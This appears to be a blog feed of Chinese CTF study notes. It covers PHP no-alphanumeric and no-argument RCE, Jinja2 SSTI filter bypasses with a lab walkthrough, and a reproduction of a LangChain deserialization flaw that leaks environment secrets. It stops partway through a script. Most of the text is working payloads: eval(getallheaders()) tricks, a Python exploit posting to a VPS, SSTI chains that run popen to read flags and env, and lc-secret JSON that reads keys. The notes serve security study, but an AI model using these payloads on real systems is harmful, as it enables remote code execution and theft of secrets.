      取反结果：
      1111 1111 1111 1111 1111 1111 1111 0011
      观察取反后的结果：从左向右看，第一位0正1符
      -111 1111 1111 1111 1111 1111 1111 0011
      负数是用补码表示的，补码是原码取反+1，也就是说
      111 1111 1111 1111 1111 1111 1111 0011是某个数取反+1得到的。反过来，也就是
      111 1111 1111 1111 1111 1111 1111 0011先-1，结果是
      111 1111 1111 1111 1111 1111 1111 0010，再取反是
      000 0000 0000 0000 0000 0000 0000 1101
      1101就是：12的三次方+12的二次方+02的一次方+12的零次方
      即1101就是:8+4+1=13，别忘了前边的负号，最终结果-13
      还有一种
      利用的是UTF-8编码的某个汉字，并将其中某个字符取出来，然后再进行一次取反操作，就能得到一个我们想要的字符
      原文链接：https://blog.csdn.net/WilliamsWayne/article/details/78259501
    • 自增 在 PHP 中，可以递增非数字字符串
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    下划线这个可以当作变量名例如：$_   $__这样
    php有一个特性当强制调用数组和字符串时，数组会被强制转换为字符串Array
    例如：
    设置$_为数组       $_=[]       在调用他$_=@"$_"
    在这段代码中，$_=[];创建了一个空数组，并将其赋值给变量$_。然后，$_=@"$_";使用字符串拼接的方式将变量$_转换为字符串，并将结果重新赋值给变量$_。
    而这样就导致@"$_"强制使数组变成了字符串，这样就让@"$_"强制转换为了Array
    所以$_==Array    $_[0]==A
    这里做的是无字母数字的rce所以0也不能用，使用"@"=="~"代替（@不等于~，所以返回false，而false等于0）
    $_["@"=="~"]==A
    原文链接：https://blog.csdn.net/whale_waves/article/details/136365419

    payload都很长 网上有已经写好的脚本可以在本地转化 也有很多现成payload

    无参数RCE

    就是说在无法传入参数的情况下，仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果 只能使用没有参数的php函数 看了一篇很好很详细的文章 链接如下https://www.cnblogs.com/pursue-security/p/15406272.html
    在本地搭建了类似的过滤

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    highlight_file(__FILE__);
    if(isset($_GET['code'])){
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
        eval($_GET['code']);}
    else
        die('nonono');}
    else
        echo('please input code');
    ?>
    1. getallheaders() 这个函数的作用是获取http所有的头部信息，也就是headers，然后我们可以用var_dump把它打印出来，但这个有个限制条件就是必须在apache的环境下可以使用，其它环境都是用不了的 直接end()函数取出最后一位 它只会以字符串的形式取出值而不会取出键GET /1.php?code=eval(end(getallheaders())); HTTP/1.1...flag: system('id');
      这里对php版本有限制的 5可以 7就不行了 高版本没这个函数了(居然还是有类似的 7以上的 payload类似于
      GET /1.php?exp=eval(end(apache_request_headers()));HTTP/1.1...flag: system('id');)
    2. get_defined_vars() 没有服务器的限制条件 获取的四个全局变量$_GET $_POST $_FILES $_COOKIE current()函数，这个函数的作用是返回数组中的当前单元，而它的默认是第一个单元?code=eval(end(current(get_defined_vars())));&flag=system('ls') 而如果网站对$_GET,$_POST,$_COOKIE都做的过滤， 那我们只能从$_FILES`入手了，file数组在最后一个，需要end定位，然后pos两次定位获得文件名
      exp：
    1
    2
    3
    4
    5
    6
    7
    8
    9
    import requests
    files = {
       "system('whoami');": ""
    }
    #data = {
    #"code":"eval(pos(pos(end(get_defined_vars()))));"
    #}
    r = requests.post('http://your_vps_ip/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
    print(r.content.decode("utf-8", "ignore")

    1. session_id() 适用于：php7以下的版本 把恶意代码写到COOKIE的PHPSESSID中，然后利用session_id()这个函数去读取它 PHPSESSIID中只能有A-Z a-z 0-9，-，所以说我们要先将恶意代码16进制编码以后再插入进去（好像也不是 主要看服务端吧 因为我在别人payload里面看到了里面还能输入/flag）再补（看版本 旧版本 PHP Session ID 校验非常宽松 /、.、甚至 : 都可能被接受）
      大概是
    1
    2
    GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1
    Cookie: PHPSESSID=/flag

    命令执行就这样
    GET /1.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1 Cookie: PHPSESSID=706870696e666f28293b 4. ![](IMAGES/20.PNG) 5. localeconv() 函数返回一个包含本地数字及货币格式信息的数组。它返回的是一个二维数组，而它的第一位居然是一个点. 利用current()`函数将这个点取出来的 pos是current的别名，如果都被过滤还可以使用reset()，该函数返回数组第一个单元的值，如果数组为空则返回 FALSE

    文件读取

    ● show_source(session_id(session_start()));
    ● var_dump(file_get_contents(session_id(session_start())))
    ● highlight_file(session_id(session_start()));
    ● readfile(session_id(session_start()));
    抓包传入Cookie: PHPSESSID=(想读的文件)即可
    3. scandir 列出目录中的文件和目录 var_dump(scandir(current(localeconv())));
    或者print_r(scandir(current(localeconv()))) 直接读取flag在哪

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    ### 读取当前目录文件

    当前目录倒数第一位文件：
    show_source(end(scandir(getcwd())));
    show_source(current(array_reverse(scandir(getcwd()))));

    当前目录倒数第二位文件：
    show_source(next(array_reverse(scandir(getcwd()))));

    随机返回当前目录文件：
    highlight_file(array_rand(array_flip(scandir(getcwd()))));
    show_source(array_rand(array_flip(scandir(getcwd()))));
    show_source(array_rand(array_flip(scandir(current(localeconv())))));

    ### 查看上一级目录文件名

    print_r(scandir(dirname(getcwd())));
    print_r(scandir(next(scandir(getcwd()))));
    print_r(scandir(next(scandir(getcwd()))));

    ### 读取上级目录文件

    show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
    show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
    show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
    payload解释：  
    ● array_flip()：交换数组中的键和值，成功时返回交换后的数组，如果失败返回 NULL。  
    ● array_rand()：从数组中随机取出一个或多个单元，如果只取出一个(默认为1)，array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后，就可以根据随机的键获取数组的随机值。  
    ● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名  
    ● dirname(chdir(dirname()))配合切换文件路径

    ### 查看和读取根目录文件

    所获得的字符串第一位有几率是/，需要多试几次

    print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
    1. chdir()
      这个函数是用来跳目录的，有时想读的文件不在当前目录下就用这个来切换，因为scandir()会将这个目录下的文件和目录都列出来，那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir切就好了，如果要向上跳就要构造chdir('..')
    2. array_reverse()
      将整个数组倒过来，有的时候当我们想读的文件比较靠后时，就可以用这个函数把它倒过来，就可以少用几个next()
    3. highlight_file()
      打印输出或者返回 filename 文件中语法高亮版本的代码，相当于就是用来读取文件的
    4. getenv()
      getenv() ：获取环境变量的值(在PHP7.1之后可以不给予参数)
      适用于：php7以上的版本
    5. 还有些新颖的函数 过滤一般到不了这里
      pos current pop都被过滤了的话，还有个array_shift()函数可以用
      array_shift() - 删除数组中第一个元素，并返回被删除元素的值。

    输出函数echo、print_r、var_dump都被过滤了话，exit()函数的别名die()函数
    die() 函数输出一条消息，并退出当前脚本。

    这样子也可以 是个很好的payload
    system(array_shift(apache_request_headers()));当然前面这个说过了 因为有apache_request_headers()这个函数 php7以上才有
    最后把全部相关函数记一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21

    目录操作：
    getchwd() ：函数返回当前工作目录。
    scandir() ：函数返回指定目录中的文件和目录的数组。
    dirname() ：函数返回路径中的目录部分。
    chdir() ：函数改变当前的目录。

    数组相关的操作：
    end() - 将内部指针指向数组中的最后一个元素，并输出。
    next() - 将内部指针指向数组中的下一个元素，并输出。
    prev() - 将内部指针指向数组中的上一个元素，并输出。
    reset() - 将内部指针指向数组中的第一个元素，并输出。
    each() - 返回当前元素的键名和键值，并将内部指针向前移动。
    array_shift() - 删除数组中第一个元素，并返回被删除元素的值。

    读文件
    show_source() - 对文件进行语法高亮显示。
    readfile() - 输出一个文件。
    highlight_file() - 对文件进行语法高亮显示。
    file_get_contents() - 把整个文件读入一个字符串中。
    readgzfile() - 可用于读取非 gzip 格式的文件

    原文章:https://xz.aliyun.com/news/10228
    然后用上面搜到的payload打了两个题（文章上面写的 有源码 部署到本地打的）

    ]]>     http://47.109.24.42/2026/01/12/RCE/ 2026-01-12T14:00:00.000Z 靶场
    1. eval执行
    RCE 2026-01-12T14:00:00.000Z xiexie 漏洞成因

    Flask模板注入漏洞通常是因为开发人员直接将用户输入作为模板内容进行渲染，而不是使用模板变量。例如，使用render_template_string函数时，如果用户输入被直接嵌入模板字符串中，而没有经过适当的处理，攻击者就可以注入模板代码，从而执行任意代码。

    为什么不能直接用__import__(‘os’).system(‘xxx’)？

    Jinja2模板引擎为了安全考虑，Jinja2 主动“阉割”了危险入口，_import__ 不在模板可访问的命名空间里。但是，Jinja2模板语法提供了执行一些表达式的能力，可以“绕到它”。

    （Jinja2 是一个文本模板引擎，它能把”模板”和”数据”结合起来，生成最终的文本（通常是HTML），就是相当于把我们python里面写的数据和网页模板结合在一起的引擎。

    在Jinja2模板中，我们可以通过Python的对象的继承链来访问我们想要的函数和对象。例如，我们可以通过以下步骤：

    与攻击相关的语法

    • set
      可以在模板中定义变量，比如：
    1
    2
    3
    4
    5
    6
    {% set user="dq" %}
    {% set num=520928 %}
    {% set userData=[num,user]} %}
    {% for each in userData %}
        <p> {{each}} </p>
    {% endfor %}

    set 定义的变量相当于python中的 全局变量，在后面都可以使用。这一点当时没在意 只是一味地创建拼接后的敏感词…

    • with
      可以定义仅能在 with语句块 中使用的变量，一旦超过了这个块就不能使用，比如
    1
    2
    3
    {% with user="dq" %}
        <p>{{user}}</p>
    {% endwith %}

    构造payload的原理

    1. 从一个已知的对象（比如config）开始，它是一个对象。
    2. 访问该对象的类（__class__）。
    3. 访问该类的基类（__bases__）或通过__mro__（方法解析顺序）来访问其他类。
    4. 访问子类（__subclasses__）来找到我们想要的类（比如object类）。
    5. 从这些子类中，我们可以找到一些有用的类，例如os._wrap_close类，它包含了os模块的引用。
      一个常见的payload是通过__class__、__bases__、__subclasses__等属性来遍历Python对象模型，最终找到可以执行命令的类或函数。
      攻击思路：找到可以执行命令的对象链
      对象 → 类 → 基类 → 子类 → 敏感模块 → 执行命令 然后其实最主要的就是能从函数 或者类方法之类的去拿到全局变量（函数之所以能访问模块级变量，是因为每个 Python 函数对象都保存了一个指向模块全局命名空间的引用，这个引用就是 __globals__。）
      之前没有看到比较深的概念
    1
    2
    3
    x = 10
    def f():
        return x

    当调用 f() 时 去 f.__globals__['x'] 查找 从最基础的定义来说 函数和全局变量确实就是最相关的 对于一些简单的黑名单 可以直接用工具生成 主要理解原理和一些方法技巧
    对于payload里面的构造 最基础的其实就是围绕下面的各种变形
    下面是我在博客一个大神的笔记那里抄的，就是多种相同的表达的不同写法，用于限制后。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    这是键值
    dict['__builtins__']
    dict.__getitem__('__builtins__')
    dict.pop('__builtins__')
    dict.get('__builtins__')
    dict.setdefault('__builtins__')
    list[0]
    list.__getitem__(0)
    list.pop(0)
    这是属性
    ().__class__
    ()["__class__"]
    ()|attr("__class__")
    ().__getattribute__("__class__")

    敏感字符拼接

    1
    2
    3
    4
    5
    6
    'm'+'o'
    'm'~'o'
    ('m','o')|join
    ['m','o']|join
    {'m':a,'o':a}|join
    dict(m=a,o=a)|join

    获取数字

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {}|int # 0
    (not{})|int # 1
    ((not{})|int+(not{})|int) # 2
    ((not{})|int+(not{})|int)**((not{})|int+(not{})|int) # 4
    ((not{})|int,(not{})|int)|sum # 2
    # ......
    ((not{})|int,{}|int)|join|int # 10
    (-(not{})|int,{}|int)|join|int #10
    'aaxaaa'.index('x') # 2
    ((),())|count/length # 2
    ((),())|length # 2

    还有一个比较方便的

    1
    {% set nine=dict(aaaaaaaaa=a)|join|count %}

    包括用数字来获得符号也是 打靶场会遇到

    常用绕过

    1
    2
    3
    4
    5
    6
    7
    morouu|select|string> 无himpquvwz
    dict(morouu=a)|join
    morouu.__doc__
    config/session/request ... |string
    '%c'%(97)> a
    (morouu|select|string|urlencode|list|first~dict(c=a)|join)|format(97)> a
    request.args.morouu&morouu=[Any] # 这个还可从其他方式传入参数

    payload记不完的 记一些抓起来就能用的就行 毕竟遇上什么长度限制 终极黑名单就完全…

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48

    查找多少号里面的类
    {% for i in range(130,140) %}{{ i }}:{{ ''.__class__.__base__.__subclasses__()[i].__name__ }}|{% endfor %}


    找到类在多少号
    {% for i in range(500) %}
      {% if ''.__class__.__base__.__subclasses__()[i].__name__ == '_wrap_close' %}
        <p>找到 _wrap_close 在索引: {{ i }}</p>
      {% endif %}
    {% endfor %}

    {#找到所有带builtins的类}
    {% for i in range(500) %}
      {% set cls = ''.__class__.__base__.__subclasses__()[i] %}
      {% if cls.__init__ and cls.__init__.__globals__ and cls.__init__.__globals__.get('__builtins__') %}
        索引 {{ i }}: {{ cls.__name__ }} 可以访问 __builtins__
      {% endif %}
    {% endfor %}

    {# 如果还不行，直接使用 os 模块 #}
    {% for i in range(500) %}
      {% set cls = ''.__class__.__base__.__subclasses__()[i] %}
      {% if cls.__init__ and cls.__init__.__globals__ and cls.__init__.__globals__.get('os') %}
        索引 {{ i }}: {{ cls.__name__ }} - 
        {{ cls.__init__.__globals__['os'].popen('whoami').read().strip() }}(可以直接到位写，但是不一定是查询用户名)
      {% endif %}
    {% endfor %}
    strip() 会移除：
        空格：" "
        换行符："\n"
        回车符："\r"
        制表符："\t"
        其他空白字符

    一步到位 直接查询 前提是得有这个类，不然的话还是要像前面一样找到能使用到builtins模块的类
    {% for i in range(500) %}
      {% if ''.__class__.__base__.__subclasses__()[i].__name__ == 'catch_warnings' %}
        {% for i in range(500) %}
      {% set cls = ''.__class__.__base__.__subclasses__()[i] %}
      {% if cls.__init__ and cls.__init__.__globals__ and cls.__init__.__globals__.get('__builtins__') %}
        索引 {{ i }}: {{ cls.__name__ }} 可以访问 __builtins__
      {% endif %}
    {% endfor %}
      {% endif %}
    {% endfor %}

    {{''.__class__.__base__.__subclasses__()[包含builtins的类的序号].__init__.__globals__['__builtins__']['os'].popen('whoami').read()}}

    接下来开始打靶场

    1. 没有防火墙限制
    2. 不能用{{}},也就是说不能使用变量了，可以将变量作为语句来执行，也就是{%%},和第一关一样，前面加上print输出就可以了。
    3. 卡住了，一直弹这个，看wp。”不出网” 指的是目标服务器无法主动访问外部网络。这个在之前的task6遇到过，静态文件 指的是内容在服务器上固定不变的文件。遇到不出网的可以直接写入静态文件来进行攻击，一般都是先检测一下能否正常写入在进行攻击。这是flask的静态目录Pasted image 20251108200208.png，这里进行测试，Pasted image 20251108201935.png，测试成功。{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /app/flag >/app/static/12345.txt').read()}}，然后访问这个路径就可以了。
    4. 这里ban了[ ],但是用上面大佬总结的相同表达方式，可以直接用get,或者是pop，或者是__getitem__都可以{{_wrap_close.__init__.__globals__.get('__builtins__').get('__import__')('os').popen('env').read()}}
    5. ban了’和”，又没有思绪了，wp URL 参数在解析时就已经是字符串request.args.a ，返回的是字符串 ‘os’，不是变量名 os这个过程在模板渲染之前就完成了。Pasted image 20251108205706.png
    6. ban了__,attr过滤器用于获取对象的属性。其基本用法是{{ object|attr('attribute_name') }}，这相当于object.attribute_name.Pasted image 20251108211840.png，也可以编码绕过 python解析器支持 hex ，unicode编码 （不建议用base64仅python2支持）。
    7. 不能用点号，那就用上面获取属性的方式{{ lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('env')['read']() }}
    8. 过滤了关键词，拼接绕过，用~，或者说单纯用到在 Python 和 Jinja2 中，相邻的字符串字面量会自动拼接。{{lipsum['__glob'~'als__']['__builtins__']['__imp'~'ort__']('os')['pop'~'en']('env').read()}}
    9. 不能用数字，这个只有索引的时候会遇到数字，我们不用到subclasses就可以了{{_wrap_close.__init__.__globals__['__builtins__']['__import__']('os').popen('env').read()}}
    10. 这一关是查询到config,但是直接查询是none，没头绪，看wp。config可以在current_app得到，它是当前正在运行的 Flask 应用实例，记住就可以了{{get_flashed_messages.__globals__['current_app'].config}}
    11. 后面都是这种限制了很多。这里学到了创建字典并且连起来的方式，看payload
    a
    1
    2
    3
    4
    5
    6
    {%set b=dict(o=a,s=a)|join%}
    {%set c=dict(po=a,pen=a)|join%}
    {%set zhuru=dict(en=a,v=a)|join%}
    {%set d=dict(re=a,ad=a)|join%}
    {%set e=dict(ge=a,t=a)|join%} 
    {{lipsum|attr(a)|attr(e)(b)|attr(c)(zhuru)|attr(d)()}}

    在set创建一个字典后，把要拼接的作为键的一部分，然后用|join把键拼接起来。这里注意在global这个字典这里获取的是键值，所以用get或者是__getitem__。
    12. bl['_', '.', '0-9', '\\', '\'', '"', '[', ']']不能用这些，最难的就是下划线，首先看网上的教程，怎么做下划线，那这里也有数字，这里限制了数字，那么还要想怎么表达数字，这里学到用count，这里输了九个a，那么字符的长度就是9，用count来得到9。然后用相同的道理得到十八，最后得到下划线。

    1
    2
    {% set nine=dict(aaaaaaaaa=a)|join|count %}{% set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count %}{% set pop=dict(pop=a)|join%}{% set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set env=dict(en=a,v=a)|join%}{% set read=dict(read=a)|join%}{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(env)|attr(read)()}}
    {% set nine=dict(aaaaaaaaa=a)|join|count %}
    1. 多了一个点，就用我上面的照样可以绕过
    ]]> http://47.109.24.42/2026/01/07/SSTI%E9%81%97%E6%BC%8F%E7%9A%84%E7%9F%A5%E8%AF%86%E4%BB%A5%E5%8F%8A%E9%9D%B6%E5%9C%BAwp/ 2026-01-07T15:00:00.000Z 漏洞成因

    Flask模板注入漏洞通常是因为开发人员直接将用户输入作为模板内容进行渲染，而不是使用模板变量。例如，使用ren]]>

    SSTI遗漏的知识以及靶场wp 2026-01-07T15:00:00.000Z xiexie 漏洞原理

    LangChain框架在处理LLM应用的复杂数据结构时，采用了定制的序列化机制。该机制与标准JSON序列化不同，它使用特殊的”lc”键作为内部标记，以区分普通Python字典与LangChain框架对象 lc 是 LangChain 内部标识字段 一旦load()或loads()反序列化时检测到 lc，就会 按 LangChain 对象解析 LangChain 在 dumps() / dumpd() 序列化用户数据时 没有对用户可控字典中的 lc 字段做隔离或转义 会让LangChain 误以为这是一个合法的内部对象

    版本范围

    langchain-core >= 1.0.0 且 < 1.2.5 或者< 0.3.81 这里看文章 建议复现使用1.2.4版本 最稳定

    python虚拟环境

    这个很早的时候就用过 但当时都只是为了减少反复安装的各种库 没有用在vscode上面 现在才知道 如果还需要给这个环境安装新包（比如 langchain 其他组件），可以直接在 VSCode 的终端中执行pip install命令，VSCode 会自动使用当前配置的.venv环境（无需手动激活）；也可以继续在 PyCharm 的终端安装，两边会共用这个虚拟环境的包，无需重复安装。这里在pycharm里面下好了漏洞版本

    1
    pip install langchain-core==1.2.4

    然后配置到了vscode里面

    （后面还是用pycharm了 感觉要简约一点）

    调试理解

    1. 最简单的json会不会触发什么东西
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from langchain_core.load import loads  
    import json  
      
    payload = {  
        "a": 1,  
        "b": 2  
    }  
      
    result = loads(json.dumps(payload))  
      
    print(result)  
    print(type(result))

    得到输出

    1
    2
    {'a': 1, 'b': 2}
    <class 'dict'>

    也就是证明了漏洞不是 loads 本身，而是 lc 协议
    2. 加上lc 会出现什么变化

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    from langchain_core.load import loads
    import json

    payload = {
        "lc": 1,
        "type": "object",
        "value": {
            "x": 123
        }
    }

    result = loads(json.dumps(payload))

    print(result)
    print(type(result))

    得到的结果已经不是payload那全部
    而是{‘x’: 123}（这里理论上肯定是 但是跑不出来 不知道什么问题）
    lc=1 会让 loads()：不再走普通 JSON 路径 而是进入 LangChain 的 协议解析器
    3. 自己调试

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    import json  
    from langchain_core.load import load 
      
    # 优化点1：添加调试用的打印，标记关键步骤  
    print("=== LangChain load函数调试脚本 ===")  
    print("请输入JSON格式的payload（示例：{\"lc\":1,\"type\":\"secret\",\"id\":[\"PATH\"]}）：")  
    raw = input().strip()  # 去除输入前后的空格/换行，避免JSON解析错误  
      
    try:  
        print("\n[调试步骤1] 解析JSON payload...")  
        data = json.loads(raw)  # 把 JSON 字符串转成 Python dict    print(f"解析后的data字典：{data}")  # 打印解析后的字典，确认payload格式  
      
        # 优化点3：反序列化操作单独拆分，方便断点调试  
        print("\n[调试步骤2] 执行load反序列化...")  
        obj = load(data)  # 核心反序列化操作，重点调试这一行  
      
        print("\n[调试结果] 反序列化后的对象：")  
        print(f"对象内容：{obj}")  
        print(f"对象类型：{type(obj)}")  
      
    except json.JSONDecodeError as e:  
        print(f"\n[错误] JSON解析失败：{e}")  
    except Exception as e:  
        print(f"\n[错误] 反序列化失败：{e}")  
        # 优化点4：打印异常详情，方便定位问题  
        import traceback  
      
        print("异常堆栈：")  
        traceback.print_exc()

    这里调试后 步入load函数里 能得到type的多个分支

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    if (  
        value.get("lc") == 1  
        and value.get("type") == "secret"  
        and value.get("id") is not None  
    ):  
        [key] = value["id"]  
        if key in self.secrets_map:  
            return self.secrets_map[key]  
        if self.secrets_from_env and key in os.environ and os.environ[key]:  
            return os.environ[key]  
        return None  
      
    if (  
        value.get("lc") == 1  
        and value.get("type") == "not_implemented"  
        and value.get("id") is not None  
    ):  
        if self.ignore_unserializable_fields:  
            return None  
        msg = (  
            "Trying to load an object that doesn't implement "  
            f"serialization: {value}"  
        )  
        raise NotImplementedError(msg)  
      
    if (  
        value.get("lc") == 1  
        and value.get("type") == "constructor"  
        and value.get("id") is not None  
    ):  
        [*namespace, name] = value["id"]  
        mapping_key = tuple(value["id"])  
      
        if (  
            namespace[0] not in self.valid_namespaces  
            # The root namespace ["langchain"] is not a valid identifier.  
            or namespace == ["langchain"]  
        ):  
            msg = f"Invalid namespace: {value}"  
            raise ValueError(msg)  
        # Has explicit import path.  
        if mapping_key in self.import_mappings:  
            import_path = self.import_mappings[mapping_key]  
            # Split into module and name  
            import_dir, name = import_path[:-1], import_path[-1]  
            # Import module  
            mod = importlib.import_module(".".join(import_dir))  
        elif namespace[0] in DISALLOW_LOAD_FROM_PATH:  
            msg = (  
                "Trying to deserialize something that cannot "  
                "be deserialized in current version of langchain-core: "            f"{mapping_key}."  
            )  
            raise ValueError(msg)  
        # Otherwise, treat namespace as path.  
        else:  
            mod = importlib.import_module(".".join(namespace))  
      
        cls = getattr(mod, name)  
      
        # The class must be a subclass of Serializable.  
        if not issubclass(cls, Serializable):  
            msg = f"Invalid namespace: {value}"  
            raise ValueError(msg)

    也就是secret not_implemented constructor

    • secret 取id的唯一元素 要求id必须是只有 1 个元素的列表（比如”PATH”），如果id是”PATH”,”HOME”会直接抛ValueError（解包失败）；执行步骤：
      第一步：检查self.secrets_map（LangChain 内置的密钥映射表，默认空），如果key（比如 PATH）在里面，返回映射值；
      第二步：如果self.secrets_from_env为True（默认开启），检查key是否在系统环境变量中，且变量值非空 这就是能读取到完整 PATH 的核心原因；
      第三步：以上都不满足，返回None。
      那么基于一个简单的脚本 比如
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    import json
    import os
    import warnings
    # 过滤LangChain的Beta警告，避免干扰输出
    warnings.filterwarnings("ignore", category=UserWarning)
    from langchain_core.load import load

    # 1. 模拟服务器端设置敏感环境变量（secret）
    os.environ["FLAG"] = "flag{This_is_flag!}"  # 这是要被读取的敏感secret
    print("=== 模拟漏洞服务器 ===")
    print(f"服务器已设置敏感环境变量 FLAG = {os.environ['FLAG']}")

    # 2. 模拟接收用户可控的JSON payload（漏洞入口）
    print("\n请输入攻击payload（JSON格式）：")
    raw_payload = input().strip()

    try:
        # 3. 服务器解析payload（信任用户输入）
        data = json.loads(raw_payload)
        # 4. 核心漏洞操作：调用LangChain的load函数反序列化（无任何校验）
        obj = load(data)
        # 5. 输出反序列化结果（泄露secret）
        print("\n✅ 服务器返回结果：")
        print(obj)
    except Exception as e:
        print(f"\n❌ 执行失败：{str(e)}")

    当我输入一个这个简单的payload 

    1
    {"lc":1,"type":"secret","id":["FLAG"]}

    之后 lc=1 确认是 LangChain 的序列化数据
    读取type字段
    先检查LangChain 内置的密钥映射表 这里模拟不了 就先放着了 一般也是在环境变量里面去找 然后检查key是否在系统环境变量中 这里我是直接定义了一个变量 所以就在环境变量里面嘛 肯定是有的 然后重新看load函数的执行过程

    1
    2
    3
    if self.secrets_from_env and key in os.environ and os.environ[key]:  
            return os.environ[key]  
        return None

    拿到环境之后就是return了

    类似的 还有PATH也可以看看 本地的

    • not_implemented 处理 LangChain 不支持序列化的对象（比如自定义的未实现序列化接口的类）；很少主动用到，主要是 LangChain 内部处理异常序列化数据的兜底逻辑。
    • constructor
      假设 payload：{"lc":1,"type":"constructor","id":["evil_pkg","env_reader","EnvReader"],"kwargs":{"key":"SECRET_KEY"}}
    步骤操作语法 / 代码示例结果
    1拆分模块路径和类名扩展解包：[*namespace, name] = value["id"]namespace = ["evil_pkg","env_reader"]（模块路径）

    name = "EnvReader"（类名）
    2类路径转元组（用于映射）mapping_key = tuple(value["id"])mapping_key = ("evil_pkg","env_reader","EnvReader")
    3校验命名空间（第一层安全校验）检查 namespace[0] 是否在 valid_namespaces（默认允许 langchain 相关）若 evil_pkg 在合法列表，校验通过；否则抛错
    4动态导入模块（核心）优先查映射表 → 再查禁用列表 → 最后直接导入：

    mod = importlib.import_module(".".join(namespace))    		拼接模块路径 evil_pkg.env_reader，导入该模块
    5从模块中获取类cls = getattr(mod, name)从 evil_pkg.env_reader 中拿到 EnvReader 类
    6校验类继承（第二层安全校验）if not issubclass(cls, Serializable): 抛错若 EnvReader 继承 Serializable，校验通过
    7实例化类并返回kwargs = value.get("kwargs", {})

    obj = cls(**kwargs)

    这里去尝试脚本 看看能否用constructor 做到阅读环境变量以外的其他操作
    经过一下午的尝试 终于搞出来了除了看环境变量的其他操作了
    因为是自己在本地搞出来的 所以payload有局限性 真实环境的id取决于模块和类 然后加上langchain的内部引用有一些问题 只能去替用原生的方法 实在是没招了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    import json  
    import os  
    import sys  
    import warnings  
    from langchain_core.load import load  
      
    # 移除所有langchain内部引用，自己实现动态导入逻辑  
      
    # 过滤Beta警告  
    warnings.filterwarnings("ignore", category=UserWarning, message="The function `load` is in beta.*")  
    sys.path.append(".")  # 确保能导入malicious_modules  
      
      
    def custom_load_constructor_payload(payload_data: dict):  
        """自己实现constructor类型payload的解析，绕开langchain校验"""  
        # 从payload中提取id和kwargs  
        id_list = payload_data["id"]  
        kwargs = payload_data.get("kwargs", {})  
      
        # 解析id为模块路径和类名（和langchain逻辑一致）  
        *namespace, class_name = id_list  # 拆分模块路径和类名  
        module_path = ".".join(namespace)  # 拼接模块路径（如"malicious_modules.env_reader"）  
      
      
        try:  
            module = __import__(module_path, fromlist=[class_name])  
        except ModuleNotFoundError:  
            raise ValueError(f"模块不存在：{module_path}")  
      
        # 获取类  
        try:  
            target_class = getattr(module, class_name)  
        except AttributeError:  
            raise ValueError(f"类不存在：{class_name}（模块：{module_path}）")  
      
        # 实例化类并返回  
        return target_class(**kwargs)  
      
      
    # 拦截langchain的load函数，对constructor类型payload用自己的逻辑  
    def my_load(payload_data: dict):  
        if payload_data.get("type") == "constructor" and payload_data.get("lc") == 1:  
            # 自己处理constructor类型  
            return custom_load_constructor_payload(payload_data)  
        else:  
            # 其他类型用langchain的默认load  
            return load(payload_data)  
      
      
    if __name__ == "__main__":  
      
        os.environ["TEST_SECRET"] = "super_secret_666"  
      
        # Windows专用payload（路径双反斜杠）  
        test_payloads = {  
